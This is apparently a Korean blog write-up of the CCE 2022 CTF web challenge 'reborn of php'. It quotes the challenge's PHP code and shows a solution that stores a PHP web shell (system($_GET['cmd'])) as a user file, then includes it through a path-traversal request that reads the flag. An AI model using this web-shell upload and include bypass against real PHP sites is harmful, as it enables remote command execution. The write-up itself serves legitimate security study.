본문 바로가기
CTF&War Game/CTF

[CCE 2022] reborn of php Write Up

by Becoming a Hacker 2022. 9. 24.
반응형

문제 Docker

reborn of php.tgz
0.01MB

 

1. 회원가입 시 id에 입력한 값을 파일 명으로 password에 입력한 값을 데이터로 저장할 수 있습니다.

function save_user_id($id, $pw){
        chdir('../');
        file_put_contents("dbs/{$id}", serialize($pw));
}

 

2. 이를 통하여 dbs 폴더 내 아래와 같은 파일을 생성하였습니다.

파일명 : ll.php
파일 데이터 : s:5:"<?php system($_GET['cmd']);?>";

 

3. 또한, index.php 파일에서 a, b Parameter를 이용하여 특정 페이지를 include 하는 코드가 존재하고 있습니다.

class Controller {
    private $board = '';
    private $action = '';
    function __construct($board, $action) {
        $this->board = $board;
        $this->action = $action;
        if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
            $this->board = 'main';
            $this->action = 'index';
       }
    }
   
    function process() {
        $path = "{$this->board}/{$this->action}";
        
        if(preg_match('/php|html/i',  $path)){
            alert('not invalid', 'back');
        }           
        chdir('pages/');
        if(!file_exists("{$path}.php")) $path = 'main/index';
        include("{$path}.php");
   }     
}
$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';
$controller = new Controller($board, $action);
$controller->process();

 

4.  Path에 해당하는 a Parameter에 /를 포함한 경로를 입력함으로써 정규식 표현을 우회하여 특정 파일을 include 시킬 수 있는 것을 확인하였습니다.

접속 URI : http://3.37.8.189:5580/index.php?b=..&a=dbs/ll&cmd=cat%20/flag

flag 획득

 

'CTF&War Game > CTF' 카테고리의 다른 글

WITHCON 2022 Buffalo [Steal] Write Up  (0) 2022.10.15
[CCE 2022] blue archive Write Up  (0) 2022.09.25
[CCE 2022] BabyWeb Write Up  (0) 2022.09.24

댓글